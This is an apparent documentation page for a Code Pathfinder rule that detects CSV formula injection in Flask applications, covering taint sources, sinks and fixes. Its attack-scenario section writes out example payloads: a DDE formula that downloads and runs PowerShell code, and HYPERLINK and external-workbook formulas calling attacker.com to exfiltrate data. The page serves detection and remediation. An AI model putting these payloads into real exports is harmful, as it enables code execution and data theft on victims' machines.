Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset python/PYTHON-FLASK-SEC-009 --project .About This Rule
Understanding the vulnerability and how it is detected
This rule detects CSV injection (also known as formula injection or spreadsheet injection) in Flask applications where user-controlled input from HTTP request parameters flows to csv.writer.writerow() or csv.writer.writerows() without stripping spreadsheet formula trigger characters.
CSV files generated by Flask applications are frequently downloaded and opened in Microsoft Excel, LibreOffice Calc, or Google Sheets. When a CSV cell value begins with =, +, -, or @, spreadsheet applications interpret it as a formula rather than data. An attacker who supplies a value like =HYPERLINK("http://evil.com","Click") or =cmd|'/C calc'!A0 (the DDE payload for Excel) causes the formula to execute when the victim opens the CSV file -- potentially launching applications, making DNS lookups, or stealing data through the hyperlink callback.
The rule traces tainted data from Flask request sources through variable assignments and function calls to the row data argument of csv.writer.writerow() and writerows() at position 0. Since there is no standard Python sanitizer for CSV formula injection, the fix requires explicit data validation: check whether the first character of each string cell value is a formula trigger character and either reject the input or prefix it with a single quote to prevent formula interpretation.
Security Implications
Potential attack scenarios if this vulnerability is exploited
Remote Code Execution via Excel DDE Formulas
Excel's Dynamic Data Exchange (DDE) feature can be triggered via CSV formulas. A payload like =cmd|'/C powershell -nop -c "iex(New-Object Net.WebClient).DownloadString(url)"'!A0 in a CSV cell executes arbitrary PowerShell when a victim opens the file in Excel with DDE enabled. This is a client-side RCE delivered through a server-generated CSV export endpoint.
Data Exfiltration via Hyperlink Callbacks
The =HYPERLINK("http://attacker.com/exfil?data="&A1,"click") formula sends cell contents from adjacent cells to the attacker's server when the victim clicks the hyperlink or in some Excel versions when the file opens. User data, including other exported fields in the same CSV row, can be exfiltrated this way.
Phishing via Deceptive Cell Content
Formula injection can display deceptive content in cells that appears legitimate when rendered: =IF(1,"Verified Account",""). An attacker exports a report that appears to show "Verified Account" status for a row they control, manipulating business decisions based on the fraudulent CSV export.
Persistence via External References
Spreadsheet formulas can reference external workbooks: ='http://attacker.com/payload.xlsx'!A1. When the victim opens the CSV, Excel fetches the external workbook, executing any macros it contains. This is a persistence mechanism that operates outside the Flask application after the initial CSV download.
How to Fix
Recommended remediation steps
- 1Before writing any user-supplied string value to a CSV row, check if the first character is =, +, -, or @ and either reject the input or prefix it with a tab character or single quote to prevent formula interpretation.
- 2Use the defusedcsv library (a drop-in replacement for Python's csv module) which automatically sanitizes formula injection characters.
- 3Validate user input at the point of collection (request parameter parsing) to reject inputs that begin with formula trigger characters if such characters are not valid for the field.
- 4Set the Content-Disposition: attachment header on CSV responses to prevent browsers from rendering them inline, ensuring they are downloaded as files.
- 5Consider generating XLSX files using openpyxl instead of CSV -- XLSX files do not execute formulas from text cell values by default.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
Scope: global (cross-file taint tracking across the entire project). Sources: Flask HTTP input methods -- request.args.get(), request.form.get(), request.values.get(), request.get_json() -- all of which can deliver strings beginning with formula trigger characters (=, +, -, @). Sinks: csv.writer.writerow() and csv.writer.writerows(). The .tracks(0) parameter targets the row data argument at position 0 -- the list or iterable of cell values that csv.writer serializes into the CSV output. Any cell in the row that contains a tainted string triggers the finding. Sanitizers: None are defined for this rule because no standard Python function is recognized as a CSV formula sanitizer. The fix requires explicit application-level sanitization logic that checks for and neutralizes leading formula trigger characters before the value reaches the csv.writer call. The rule traces tainted values from request parameters through variable assignments, list construction, and cross-file function calls to the writerow/writerows sink.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Python
Frequently Asked Questions
Common questions about Flask CSV Injection
New feature
Get these findings posted directly on your GitHub pull requests
The Flask CSV Injection rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.